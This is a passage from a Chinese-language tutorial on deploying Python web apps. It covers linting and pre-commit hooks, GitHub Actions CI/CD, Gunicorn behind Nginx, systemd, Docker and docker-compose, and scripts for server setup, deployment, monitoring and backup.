① 不要在生产环境压测(会影响真实用户)。② 压测环境要和生产环境配置一致(否则结果不准)。③ 压测数据要隔离(不要污染真实数据)。④ 压测要循序渐进(不要一上来就全量)。⑤ 记录每次压测的环境、配置、结果(方便对比)。
代码风格不统一是团队协作的噩梦。自动化工具帮你格式化代码、检查错误、自动部署。
# 代码格式化和检查工具
pip install ruff black isort
# Ruff — 超快的 Python linter(替代 flake8 + pylint)
ruff check . # 检查代码问题
ruff check --fix . # 自动修复
# Black — 代码格式化(强制统一风格)
black . # 格式化所有文件
# isort — import 排序
isort . # 自动排序 import
# .pre-commit-config.yaml — 提交前自动检查
repos:
- repo: https://github.com/astral-sh/ruff-pre-commit
hooks:
- id: ruff
args: [--fix]
- repo: https://github.com/psf/black
hooks:
- id: black
# 安装:pre-commit install
# 之后每次 git commit 自动运行检查
# .github/workflows/ci.yml — GitHub Actions CI/CD
name: CI
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.12'
- run: pip install -r requirements.txt
- run: ruff check .
- run: black --check .
- run: pytest --cov=app --cov-fail-under=80
# pyproject.toml — Ruff 配置
[tool.ruff]
target-version = "py312"
line-length = 100
[tool.ruff.lint]
select = [
"E", # pycodestyle errors
"W", # pycodestyle warnings
"F", # pyflakes
"I", # isort (import sorting)
"N", # pep8-naming
"UP", # pyupgrade
"B", # flake8-bugbear
"SIM", # flake8-simplify
"TCH", # flake8-type-checking
"RUF", # Ruff-specific rules
]
ignore = ["E501"] # 忽略行长度(Black 处理)
[tool.ruff.lint.isort]
known-first-party = ["app"] # 本地模块排序
# 运行
# ruff check . 检查问题
# ruff check --fix . 自动修复
# ruff format . 格式化代码(替代 Black)
# .github/workflows/ci.yml — 完整 CI/CD
name: CI/CD
on:
push:
branches: [main, develop]
pull_request:
branches: [main]
jobs:
lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.12'
- run: pip install ruff
- run: ruff check .
- run: ruff format --check .
test:
runs-on: ubuntu-latest
needs: lint # lint 通过后才测试
services:
postgres:
image: postgres:15
env:
POSTGRES_DB: testdb
POSTGRES_PASSWORD: test
ports:
- 5432:5432
redis:
image: redis:7
ports:
- 6379:6379
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.12'
cache: 'pip'
- run: pip install -r requirements.txt
- run: pytest --cov=app --cov-report=xml --cov-fail-under=80
- uses: codecov/codecov-action@v4 # 上传覆盖率报告
with:
file: coverage.xml
deploy:
runs-on: ubuntu-latest
needs: test # 测试通过后才部署
if: github.ref == 'refs/heads/main' # 只在 main 分支部署
steps:
- uses: actions/checkout@v4
- name: Deploy to server
uses: appleboy/ssh-action@v1
with:
host: ${{ secrets.SERVER_HOST }}
username: ${{ secrets.SERVER_USER }}
key: ${{ secrets.SSH_KEY }}
script: |
cd /home/app/myproject
git pull origin main
source venv/bin/activate
pip install -r requirements.txt
sudo systemctl restart myapp
# .pre-commit-config.yaml — 提交前自动检查
repos:
- repo: https://github.com/astral-sh/ruff-pre-commit
rev: v0.4.0
hooks:
- id: ruff
args: [--fix]
- id: ruff-format
- repo: https://github.com/pre-commit/pre-commit-hooks
rev: v4.6.0
hooks:
- id: trailing-whitespace # 删除行尾空格
- id: end-of-file-fixer # 确保文件以换行结尾
- id: check-yaml # 检查 YAML 语法
- id: check-added-large-files # 防止提交大文件
args: ['--maxkb=500']
- id: check-merge-conflict # 检查合并冲突标记
- repo: https://github.com/psf/black
rev: 24.4.0
hooks:
- id: black
- repo: https://github.com/pre-commit/mirrors-mypy
rev: v1.10.0
hooks:
- id: mypy
additional_dependencies: [types-requests]
# 安装:pre-commit install
# 手动运行:pre-commit run --all-files
# 之后每次 git commit 自动运行检查
# GitHub Actions 自动部署(带 Docker)
# .github/workflows/deploy.yml
deploy:
runs-on: ubuntu-latest
needs: [lint, test]
if: github.ref == 'refs/heads/main'
steps:
- uses: actions/checkout@v4
# 构建 Docker 镜像
- name: Build Docker Image
run: |
docker build -t myapp:${{ github.sha }} .
docker tag myapp:${{ github.sha }} myapp:latest
# 推送到镜像仓库
- name: Push to Registry
run: |
echo ${{ secrets.DOCKER_PASSWORD }} | docker login -u ${{ secrets.DOCKER_USER }} --password-stdin
docker push myregistry/myapp:${{ github.sha }}
# 部署到服务器
- name: Deploy
uses: appleboy/ssh-action@v1
with:
host: ${{ secrets.SERVER_HOST }}
script: |
docker pull myregistry/myapp:${{ github.sha }}
docker-compose up -d
docker image prune -f # 清理旧镜像
代码推送到 Git → CI 自动运行 lint + 测试 → 测试通过 → CD 自动部署到服务器。全程自动化,人工不参与。分支策略:feature 分支开发 → PR 到 develop → 测试通过 → 合并到 main → 自动部署生产。
① CI 要快(目标 5 分钟内完成)。② 测试覆盖率要有门槛(如 80%)。③ 分支保护(main 分支必须 PR + 审核 + CI 通过)。④ 部署要有回滚方案。⑤ 敏感信息用 Secrets(不要硬编码)。⑥ 构建缓存(pip cache、Docker layer cache)。
# .github/workflows/security.yml
name: Security Scan
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# 依赖漏洞扫描
- name: Install pip-audit
run: pip install pip-audit safety
- name: Run pip-audit
run: pip-audit
- name: Run safety check
run: safety check -r requirements.txt
# 代码安全扫描
- name: Install bandit
run: pip install bandit
- name: Run bandit
run: bandit -r app/ -f json -o bandit-report.json || true
# Docker 镜像扫描
- name: Run Trivy vulnerability scanner
uses: aquasecurity/trivy-action@master
with:
image-ref: 'myapp:latest'
format: 'sarif'
output: 'trivy-results.sarif'
# 上传扫描结果到 GitHub Security
- name: Upload Trivy scan results
uses: github/codeql-action/upload-sarif@v2
if: always()
with:
sarif_file: 'trivy-results.sarif'
# .github/workflows/ci.yml
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# pip 缓存
- uses: actions/setup-python@v5
with:
python-version: '3.12'
cache: 'pip' # 自动缓存 pip 包
# 或手动缓存
- name: Cache pip packages
uses: actions/cache@v4
with:
path: ~/.cache/pip
key: ${{ runner.os }}-pip-${{ hashFiles('requirements.txt') }}
restore-keys: |
${{ runner.os }}-pip-
# Docker 层缓存
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Build and push
uses: docker/build-push-action@v5
with:
context: .
push: true
tags: myapp:latest
cache-from: type=gha
cache-to: type=gha,mode=max
# Commit Message 规范(Conventional Commits)
# 格式:():
# 类型:
# feat: 新功能
# fix: 修复 bug
# docs: 文档
# style: 代码格式(不影响功能)
# refactor: 重构
# test: 测试
# chore: 构建/工具
# 示例:
# feat(auth): 添加 OAuth2 登录
# fix(api): 修复分页参数校验
# docs(readme): 更新安装说明
# commitlint 配置(.commitlintrc.yml)
extends:
- '@commitlint/config-conventional'
# husky 配置(package.json)
{
"husky": {
"hooks": {
"commit-msg": "commitlint -E HUSKY_GIT_PARAMS"
}
}
}
# 自动生成 CHANGELOG
# npm install -g conventional-changelog-cli
# conventional-changelog -p angular -i CHANGELOG.md -s
# .github/workflows/deploy.yml
name: Deploy
on:
push:
branches: [main, develop]
jobs:
deploy-staging:
runs-on: ubuntu-latest
if: github.ref == 'refs/heads/develop'
environment: staging # GitHub Environment
steps:
- uses: actions/checkout@v4
- name: Deploy to Staging
run: |
ssh ${{ secrets.STAGING_HOST }} "cd /app && git pull && systemctl restart app"
env:
DATABASE_URL: ${{ secrets.STAGING_DB_URL }}
deploy-production:
runs-on: ubuntu-latest
if: github.ref == 'refs/heads/main'
environment: production # 需要审批
steps:
- uses: actions/checkout@v4
- name: Deploy to Production
run: |
ssh ${{ secrets.PROD_HOST }} "cd /app && git pull && systemctl restart app"
env:
DATABASE_URL: ${{ secrets.PROD_DB_URL }}
# GitHub Environment 设置:
# - staging:自动部署
# - production:需要审批 + 等待时间 + 保护规则
开发用 flask run,生产用 Gunicorn + Nginx。这是 Python Web 生产部署的标准组合。
# Gunicorn 配置
# 安装:pip install gunicorn
gunicorn -w 4 -b 0.0.0.0:8000 app:app
# -w 4: 4 个 worker 进程(推荐 2 * CPU核心数 + 1)
# -b: 绑定地址
# app:app: 模块名:应用变量名
# gunicorn.conf.py
bind = "0.0.0.0:8000"
workers = 4
worker_class = "uvicorn.workers.UvicornWorker" # ASGI(FastAPI 用)
timeout = 120
keepalive = 5
accesslog = "/var/log/gunicorn/access.log"
errorlog = "/var/log/gunicorn/error.log"
# Nginx 配置(/etc/nginx/sites-available/myapp)
server {
listen 80;
server_name www.example.com;
# 静态文件直接由 Nginx 处理(比 Python 快 100 倍)
location /static/ {
alias /home/app/myproject/static/;
expires 30d;
}
# 动态请求转发给 Gunicorn
location / {
proxy_pass http://127.0.0.1:8000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
# /etc/systemd/system/myapp.service — 用 systemd 管理 Gunicorn
[Unit]
Description=My Python Web App
After=network.target postgresql.service
Wants=postgresql.service
[Service]
User=app
Group=app
WorkingDirectory=/home/app/myproject
Environment="PATH=/home/app/myproject/venv/bin"
Environment="DATABASE_URL=postgresql://user:pass@localhost/mydb"
ExecStart=/home/app/myproject/venv/bin/gunicorn -c gunicorn.conf.py app:app
ExecReload=/bin/kill -s HUP $MAINPID
Restart=always # 崩溃自动重启
RestartSec=5 # 重启间隔 5 秒
KillMode=mixed # 优雅停止
TimeoutStopSec=30 # 停止超时 30 秒
[Install]
WantedBy=multi-user.target
# 常用命令
# systemctl enable myapp 开机自启
# systemctl start myapp 启动
# systemctl stop myapp 停止
# systemctl restart myapp 重启
# systemctl status myapp 查看状态
# journalctl -u myapp -f 查看日志
# gunicorn.conf.py — 生产级配置
import multiprocessing
# 基础配置
bind = "127.0.0.1:8000" # 只监听本地(Nginx 转发)
workers = multiprocessing.cpu_count() * 2 + 1 # Worker 数量
worker_class = "uvicorn.workers.UvicornWorker" # ASGI(FastAPI/Starlette)
# worker_class = "sync" # 同步(Flask/Django)
threads = 4 # 每个 Worker 的线程数(sync worker)
# 超时配置
timeout = 120 # Worker 超时(秒)
keepalive = 5 # Keep-Alive 超时
graceful_timeout = 30 # 优雅停止超时
# 日志配置
accesslog = "/var/log/gunicorn/access.log"
errorlog = "/var/log/gunicorn/error.log"
loglevel = "info"
access_log_format = '%(h)s %(l)s %(u)s %(t)s "%(r)s" %(s)s %(b)s "%(f)s" "%(a)s" %(D)s'
# 进程配置
max_requests = 1000 # 处理 1000 个请求后重启 Worker(防内存泄漏)
max_requests_jitter = 100 # 随机偏移(避免同时重启)
preload_app = True # 预加载应用(节省内存)
# Worker 临时目录(Docker 中需要)
worker_tmp_dir = "/dev/shm" # 用内存文件系统(更快)
# /etc/nginx/sites-available/myapp — 生产级 Nginx 配置
upstream app_server {
server 127.0.0.1:8000;
keepalive 32; # 连接池
}
server {
listen 80;
server_name www.example.com example.com;
return 301 https://$host$request_uri; # 强制 HTTPS
}
server {
listen 443 ssl;
http2 on; # Nginx 1.25.1+ 新语法
server_name www.example.com example.com;
# SSL 配置
ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
ssl_prefer_server_ciphers off;
# 安全 Headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Strict-Transport-Security "max-age=31536000" always;
# 日志
access_log /var/log/nginx/myapp_access.log;
error_log /var/log/nginx/myapp_error.log;
# 请求大小限制
client_max_body_size 50M; # 文件上传限制
# 静态文件(Nginx 直接处理,比 Python 快 100 倍)
location /static/ {
alias /home/app/myproject/static/;
expires 30d;
add_header Cache-Control "public, immutable";
}
location /media/ {
alias /home/app/myproject/uploads/;
expires 7d;
}
# Gzip 压缩
gzip on;
gzip_vary on;
gzip_min_length 1024;
gzip_types text/plain text/css application/json application/javascript text/xml;
# 动态请求转发给 Gunicorn
location / {
proxy_pass http://app_server;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_connect_timeout 10s;
proxy_read_timeout 120s;
proxy_send_timeout 120s;
proxy_buffering on;
}
# WebSocket 支持
location /ws/ {
proxy_pass http://app_server;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
}
python manage.py collectstatic(Django)或配置 Nginx 直接服务静态文件。alembic upgrade head 或 python manage.py migrate。/health 接口返回 200,Nginx 和负载均衡器用它检查服务状态。① Nginx 处理静态文件比 Gunicorn 快 100 倍。② Nginx 做 SSL 终止(HTTPS 解密)。③ Nginx 做负载均衡(多台 Gunicorn)。④ Nginx 做限流和安全防护。⑤ Nginx 缓冲慢客户端,让 Gunicorn 专注处理请求。⑥ Nginx 做 Gzip 压缩。
① 502 Bad Gateway——Gunicorn 没启动或端口不对。② 413 Request Entity Too Large——client_max_body_size 太小。③ 静态文件 404——Nginx 的 alias 路径不对。④ 权限问题——Nginx 用户(www-data)要能读取静态文件目录。⑤ SELinux 阻止——setsebool -P httpd_can_network_connect 1。
你有没有遇到过这样的情况——你在自己电脑上跑得好好的程序,发给同事或者部署到服务器上就报错?"我电脑上明明能跑啊!"这句话可能是程序员说得最多的一句话。Docker 就是来解决这个问题的:它把你的程序、依赖库、配置文件、甚至操作系统全部打包成一个"集装箱",不管运到哪里,打开就能用。
想象你是一个厨师,你做了一道拿手菜。现在要把这道菜送到全国各地的餐厅。如果只寄菜谱(代码),每个餐厅的厨房设备不同(操作系统不同)、食材品牌不同(依赖版本不同),做出来的味道就不一样。Docker 的做法是:把整间厨房——包括灶台、锅碗瓢盆、食材、调料、菜谱——全部装进一个标准集装箱里。不管运到北京还是纽约,打开集装箱就能做出一模一样的菜。这个集装箱就是 Docker 容器,集装箱的设计图纸就是 Dockerfile。
Dockerfile 是一个纯文本文件,里面一行一行地告诉 Docker:"先用什么操作系统,再装什么软件,再复制什么文件,最后怎么启动程序。"就像一份建筑施工图纸,Docker 按照图纸一步一步把容器搭建起来。
# ============================================
# Dockerfile — 一个完整的 Python Web 应用示例
# ============================================
# 第 1 步:选择基础镜像(就像选一块地基)
# python:3.12-slim 是精简版,比完整版小 700MB
FROM python:3.12-slim
# 第 2 步:设置工作目录(在容器里创建一个文件夹)
WORKDIR /app
# 第 3 步:先只复制依赖文件(利用 Docker 缓存机制)
# 只要 requirements.txt 没变,这一层就不会重新构建
COPY requirements.txt .
# 第 4 步:安装依赖
# --no-cache-dir 不缓存下载的包,减小镜像体积
RUN pip install --no-cache-dir -r requirements.txt
# 第 5 步:复制项目代码到容器里
COPY . .
# 第 6 步:声明容器运行时监听的端口(只是声明,不实际暴露)
EXPOSE 8000
# 第 7 步:设置环境变量
ENV PYTHONUNBUFFERED=1
ENV PYTHONDONTWRITEBYTECODE=1
# 第 8 步:容器启动时执行的命令
CMD ["gunicorn", "-w", "4", "-b", "0.0.0.0:8000", "main:app"]
CMD 设置的命令可以被 docker run 后面的参数覆盖;ENTRYPOINT 设置的命令不会被覆盖,后面的参数会追加到 ENTRYPOINT 后面。比如 ENTRYPOINT ["python"] + CMD ["app.py"],运行时 docker run myimage test.py 会执行 python test.py(CMD 被覆盖了)。大多数情况下用 CMD 就够了。
一个 Python 项目构建时需要 gcc、make、开发头文件等编译工具,但运行时根本不需要它们。多阶段构建的做法是:先在一个"胖"镜像里编译,再把编译结果复制到一个"瘦"镜像里运行。就像你在一个大厨房里做好菜,然后只把成品端到餐桌上——餐桌不需要放满厨具。
多阶段构建就像"工厂流水线"——第一个车间(第一阶段)负责生产半成品,需要很多大型设备;第二个车间(第二阶段)只需要包装设备,把半成品打包成成品。最终你拿到的是包装好的产品,而不是整个工厂。Docker 镜像也是同样的道理:最终镜像只包含运行需要的东西,不包含编译工具。
# ============================================
# 多阶段构建 Dockerfile
# 最终镜像只有 ~150MB,而不是 ~1GB
# ============================================
# ---- 第一阶段:构建阶段 ----
# 用完整版 Python 镜像(包含编译工具)
FROM python:3.12 AS builder
WORKDIR /app
# 安装编译依赖(比如 psycopg2 需要 libpq-dev)
RUN apt-get update && apt-get install -y --no-install-recommends \
gcc \
libpq-dev \
&& rm -rf /var/lib/apt/lists/*
# 安装 Python 依赖到一个单独的目录
COPY requirements.txt .
RUN pip install --no-cache-dir --prefix=/install -r requirements.txt
# ---- 第二阶段:运行阶段 ----
# 用精简版 Python 镜像
FROM python:3.12-slim
WORKDIR /app
# 只安装运行时需要的最小依赖(不是编译工具)
RUN apt-get update && apt-get install -y --no-install-recommends \
libpq5 \
&& rm -rf /var/lib/apt/lists/*
# 从第一阶段复制已安装的 Python 包
COPY --from=builder /install /usr/local
# 复制应用代码
COPY . .
# 创建非 root 用户运行应用(安全最佳实践)
RUN useradd --create-home appuser
USER appuser
EXPOSE 8000
CMD ["gunicorn", "-w", "4", "-b", "0.0.0.0:8000", "main:app"]
| 维度 | 单阶段构建 | 多阶段构建 |
|---|---|---|
| 镜像大小 | 800MB ~ 1.2GB | 120MB ~ 200MB |
| 包含编译工具 | 是(gcc、make 等) | 否(只有运行时依赖) |
| 安全性 | 攻击面大 | 攻击面小 |
| 构建速度 | 快(一步到位) | 略慢(两个阶段) |
| 适用场景 | 开发调试 | 生产部署(强烈推荐) |
一个真实的 Web 应用通常不是单独运行的——它需要数据库、缓存、消息队列、反向代理等多个服务配合。docker-compose 就是来管理这些服务的"总指挥",一个 YAML 文件定义所有服务,一条命令全部启动。
# ============================================
# docker-compose.yml — 完整的多服务编排示例
# 包含:Web 应用 + PostgreSQL + Redis + Nginx
# ============================================
services:
# ---- Web 应用(Python FastAPI)----
web:
build:
context: . # Dockerfile 所在目录
dockerfile: Dockerfile # 指定 Dockerfile 文件名
container_name: myapp-web
ports:
- "8000:8000" # 宿主机端口:容器端口
environment:
- DATABASE_URL=postgresql://postgres:secret@db:5432/myapp
- REDIS_URL=redis://redis:6379/0
- SECRET_KEY=your-secret-key-here
depends_on:
db:
condition: service_healthy # 等数据库健康后再启动
redis:
condition: service_healthy
restart: unless-stopped # 崩溃自动重启
networks:
- app-network
# ---- PostgreSQL 数据库 ----
db:
image: postgres:16-alpine
container_name: myapp-db
environment:
POSTGRES_USER: postgres
POSTGRES_PASSWORD: secret
POSTGRES_DB: myapp
volumes:
- pgdata:/var/lib/postgresql/data # 持久化数据
- ./init.sql:/docker-entrypoint-initdb.d/init.sql # 初始化脚本
ports:
- "5432:5432"
healthcheck: # 健康检查
test: ["CMD-SHELL", "pg_isready -U postgres"]
interval: 10s
timeout: 5s
retries: 5
restart: unless-stopped
networks:
- app-network
# ---- Redis 缓存 ----
redis:
image: redis:7-alpine
container_name: myapp-redis
command: redis-server --maxmemory 256mb --maxmemory-policy allkeys-lru
volumes:
- redisdata:/data
ports:
- "6379:6379"
healthcheck:
test: ["CMD", "redis-cli", "ping"]
interval: 10s
timeout: 5s
retries: 5
restart: unless-stopped
networks:
- app-network
# ---- Nginx 反向代理 ----
nginx:
image: nginx:alpine
container_name: myapp-nginx
ports:
- "80:80"
- "443:443"
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf # Nginx 配置
- ./ssl:/etc/nginx/ssl # SSL 证书
depends_on:
- web
restart: unless-stopped
networks:
- app-network
# ---- 持久化卷 ----
volumes:
pgdata:
redisdata:
# ---- 自定义网络 ----
networks:
app-network:
driver: bridge
docker compose up -d — 后台启动所有服务。docker compose down — 停止并删除所有容器。docker compose logs -f web — 实时查看 web 服务的日志。docker compose exec web bash — 进入 web 容器的终端。docker compose ps — 查看所有服务的状态。docker compose build --no-cache — 不使用缓存重新构建镜像。
就像 .gitignore 告诉 Git 哪些文件不要提交,.dockerignore 告诉 Docker 哪些文件不要复制到镜像里。这不仅能减小镜像体积,还能避免把敏感信息(如 .env 文件)打包进镜像。
# ============================================
# .dockerignore — 排除不需要打包到镜像的文件
# 放在项目根目录(和 Dockerfile 同级)
# ============================================
# Python 相关
__pycache__
*.pyc
*.pyo
*.egg-info
dist/
build/
.eggs/
*.egg
# 虚拟环境(镜像里不需要你的 venv)
venv/
.venv/
env/
# IDE 和编辑器
.vscode/
.idea/
*.swp
*.swo
# 版本控制
.git/
.gitignore
# 环境变量文件(敏感信息不要打包进镜像!)
.env
.env.local
.env.production
# Docker 自身
Dockerfile
docker-compose.yml
.dockerignore
# 测试和文档
tests/
docs/
*.md
.pytest_cache/
.coverage
# 操作系统文件
.DS_Store
Thumbs.db
# 日志和临时文件
*.log
tmp/
temp/
永远不要把 .env 文件打包进 Docker 镜像!镜像一旦被推送到 Docker Hub 或其他仓库,任何人都能下载并查看里面的密钥和密码。用 .dockerignore 排除 .env,通过 docker compose 的 environment 或 secrets 注入敏感配置。
容器启动了不代表服务是正常的——程序可能还在初始化,或者已经崩溃但容器还在运行。HEALTHCHECK 让 Docker 定期检查容器内的服务是否真的在正常工作。就像医院里的心电监护仪,持续监测病人心跳是否正常。
/health 接口。# ============================================
# 在 Dockerfile 中添加健康检查
# ============================================
FROM python:3.12-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY . .
# 健康检查:每 30 秒访问一次 /health 接口
# --interval=30s 每 30 秒检查一次
# --timeout=10s 超时时间 10 秒
# --start-period=5s 启动后等 5 秒再开始检查(给程序初始化时间)
# --retries=3 连续失败 3 次才标记为 unhealthy
HEALTHCHECK --interval=30s --timeout=10s --start-period=5s --retries=3 \
CMD curl -f http://localhost:8000/health || exit 1
CMD ["gunicorn", "-w", "4", "-b", "0.0.0.0:8000", "main:app"]
# ============================================
# FastAPI 中实现 /health 端点
# ============================================
from fastapi import FastAPI
from sqlalchemy import text
import redis
app = FastAPI()
@app.get("/health")
async def health_check():
"""健康检查端点 — 检查数据库和 Redis 是否正常"""
status = {"status": "ok", "checks": {}}
# 检查数据库连接
try:
async with engine.connect() as conn:
await conn.execute(text("SELECT 1"))
status["checks"]["database"] = "ok"
except Exception as e:
status["status"] = "error"
status["checks"]["database"] = str(e)
# 检查 Redis 连接
try:
r = redis.Redis(host="redis", port=6379)
r.ping()
status["checks"]["redis"] = "ok"
except Exception as e:
status["status"] = "error"
status["checks"]["redis"] = str(e)
return status
默认情况下 depends_on 只等容器启动,不等服务就绪。数据库容器启动了,但 PostgreSQL 可能还在初始化。加上 condition: service_healthy 后,docker-compose 会等健康检查通过后再启动依赖它的服务。这在上面的 docker-compose.yml 中已经演示过了。
镜像越大,拉取越慢,存储越贵,攻击面越大。下面是一套完整的镜像优化清单:
| 优化手段 | 效果 | 说明 |
|---|---|---|
| 用 slim/alpine 基础镜像 | 减少 500-700MB | python:3.12-slim 比 python:3.12 小很多 |
| 多阶段构建 | 减少 300-500MB | 编译工具不带入最终镜像 |
| 合并 RUN 指令 | 减少 50-100MB | 每个 RUN 生成一层,合并可以减少层数 |
| 清理 apt 缓存 | 减少 30-50MB | rm -rf /var/lib/apt/lists/* |
| pip --no-cache-dir | 减少 20-50MB | 不缓存下载的 wheel 包 |
| .dockerignore | 减少 10-100MB | 排除 tests、docs、.git 等 |
| 用 .dockerignore 排除 venv | 减少 200-500MB | 虚拟环境不要复制到镜像里 |
# ============================================
# 优化后的完整 Dockerfile(生产级)
# 最终镜像约 150MB
# ============================================
# ---- 构建阶段 ----
FROM python:3.12-slim AS builder
WORKDIR /app
# 合并 apt-get 和 pip 安装,减少层数
RUN apt-get update && \
apt-get install -y --no-install-recommends gcc libpq-dev && \
rm -rf /var/lib/apt/lists/*
COPY requirements.txt .
RUN pip install --no-cache-dir --prefix=/install -r requirements.txt
# ---- 运行阶段 ----
FROM python:3.12-slim
WORKDIR /app
# 只安装运行时动态链接库
RUN apt-get update && \
apt-get install -y --no-install-recommends libpq5 curl && \
rm -rf /var/lib/apt/lists/*
# 从构建阶段复制已编译的 Python 包
COPY --from=builder /install /usr/local
# 复制应用代码
COPY . .
# 非 root 用户
RUN useradd --create-home --shell /bin/bash appuser && \
chown -R appuser:appuser /app
USER appuser
# 环境变量
ENV PYTHONUNBUFFERED=1
ENV PYTHONDONTWRITEBYTECODE=1
EXPOSE 8000
# 健康检查
HEALTHCHECK --interval=30s --timeout=10s --start-period=10s --retries=3 \
CMD curl -f http://localhost:8000/health || exit 1
CMD ["gunicorn", "-w", "4", "-b", "0.0.0.0:8000", "--access-logfile", "-", "main:app"]
Docker 会逐层缓存构建结果。如果某一层的输入没有变化,Docker 会直接使用缓存,不重新构建。所以把不常变化的步骤(如安装依赖)放在前面,常变化的步骤(如复制代码)放在后面。这样改代码后只需要重新执行最后几步,构建速度从几分钟缩短到几秒。
docker build -t myapp:1.0 . 用当前目录的 Dockerfile 构建镜像并打标签。docker run -d -p 8000:8000 --name myapp myapp:1.0 后台运行并映射端口。docker logs -f myapp 实时查看容器输出。docker logs --tail 100 myapp 看最后 100 行。docker exec -it myapp bash 进入容器的终端进行调试。docker ps 查看运行中的容器。docker images 查看本地镜像。① 始终用 slim 或 alpine 作为基础镜像。② 生产环境用多阶段构建。③ 用 .dockerignore 排除一切不需要的文件。④ 添加 HEALTHCHECK 确保服务真正可用。⑤ 用非 root 用户运行应用。⑥ 一个容器只运行一个进程。⑦ 敏感信息通过环境变量注入,不要硬编码。⑧ 固定镜像版本标签(如 python:3.12-slim),不要用 latest。
把应用部署到云服务器,让全世界都能访问。
ssh root@你的IP。创建普通用户,不要用 root 部署应用。# 服务器初始化脚本
#!/bin/bash
apt update && apt upgrade -y
apt install -y python3.12 python3.12-venv nginx docker.io
# 创建应用目录
mkdir -p /home/app/myproject
cd /home/app/myproject
# 克隆代码
git clone https://github.com/you/repo.git .
# 创建虚拟环境
python3.12 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
# 启动 Gunicorn(用 systemd 管理)
# /etc/systemd/system/myapp.service
[Unit]
Description=My App
After=network.target
[Service]
User=app
WorkingDirectory=/home/app/myproject
ExecStart=/home/app/myproject/venv/bin/gunicorn -c gunicorn.conf.py app:app
Restart=always
[Install]
WantedBy=multi-user.target
# 启用服务
systemctl enable myapp
systemctl start myapp
# UFW 防火墙(Ubuntu)
ufw default deny incoming # 默认拒绝入站
ufw default allow outgoing # 默认允许出站
ufw allow 22/tcp # SSH
ufw allow 80/tcp # HTTP
ufw allow 443/tcp # HTTPS
ufw enable # 启用防火墙
ufw status # 查看规则
# 阿里云安全组(控制台配置)
# 入方向规则:
# 22/tcp — SSH(限制来源 IP)
# 80/tcp — HTTP(0.0.0.0/0)
# 443/tcp — HTTPS(0.0.0.0/0)
# ⚠️ 不要开放数据库端口(3306/5432)到公网
#!/bin/bash
# server_init.sh — 新服务器初始化
set -e
# 1. 系统更新
apt update && apt upgrade -y
# 2. 创建应用用户(不用 root 部署)
adduser --disabled-password --gecos "" app
usermod -aG sudo app
# 3. 安装必要软件
apt install -y python3.12 python3.12-venv nginx certbot \
python3-certbot-nginx redis-server supervisor
# 4. 配置防火墙
ufw default deny incoming
ufw default allow outgoing
ufw allow 22/tcp
ufw allow 80/tcp
ufw allow 443/tcp
ufw --force enable
# 5. 创建目录结构
mkdir -p /home/app/myproject/{logs,uploads,static}
chown -R app:app /home/app/myproject
# 6. 配置日志轮转
cat > /etc/logrotate.d/myapp << 'EOF'
/home/app/myproject/logs/*.log {
daily
missingok
rotate 14
compress
delaycompress
notifempty
create 0640 app app
}
EOF
# 7. 配置 SSH 安全
sed -i 's/#PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl restart sshd
echo "服务器初始化完成!"
#!/bin/bash
# deploy.sh — 应用部署脚本
set -e
PROJECT_DIR="/home/app/myproject"
cd $PROJECT_DIR
# 1. 拉取最新代码
git pull origin main
# 2. 更新依赖
source venv/bin/activate
pip install -r requirements.txt
# 3. 数据库迁移
alembic upgrade head
# 4. 收集静态文件(Django)
# python manage.py collectstatic --noinput
# 5. 重启应用
sudo systemctl restart myapp
# 6. 重载 Nginx(配置有变化时)
sudo nginx -t && sudo systemctl reload nginx
# 7. 清理
docker image prune -f 2>/dev/null || true
echo "部署完成!"
# 服务器监控脚本
#!/bin/bash
# monitor.sh — 简单的服务器健康检查
# 检查应用是否运行
if ! systemctl is-active --quiet myapp; then
echo "应用未运行,正在重启..."
systemctl restart myapp
# 发送告警
curl -X POST "https://oapi.dingtalk.com/robot/send?access_token=xxx" \
-H 'Content-Type: application/json' \
-d '{"msgtype":"text","text":{"content":"⚠️ 应用崩溃,已自动重启"}}'
fi
# 检查磁盘使用率
DISK_USAGE=$(df / | tail -1 | awk '{print $5}' | sed 's/%//')
if [ $DISK_USAGE -gt 80 ]; then
echo "磁盘使用率超过 80%!"
fi
# 检查内存使用率
MEM_USAGE=$(free | grep Mem | awk '{print int($3/$2 * 100)}')
if [ $MEM_USAGE -gt 90 ]; then
echo "内存使用率超过 90%!"
fi
# crontab: */5 * * * * /home/app/monitor.sh
#!/bin/bash
# backup.sh — 自动备份脚本
BACKUP_DIR="/backups"
DATE=$(date +%Y%m%d_%H%M%S)
# 1. 数据库备份
pg_dump -U postgres mydb | gzip > $BACKUP_DIR/db_$DATE.sql.gz
# 2. 上传文件备份
tar -czf $BACKUP_DIR/uploads_$DATE.tar.gz /home/app/myproject/uploads/
# 3. 代码备份
tar -czf $BACKUP_DIR/code_$DATE.tar.gz /home/app/myproject/ --exclude=venv
# 4. 上传到云存储
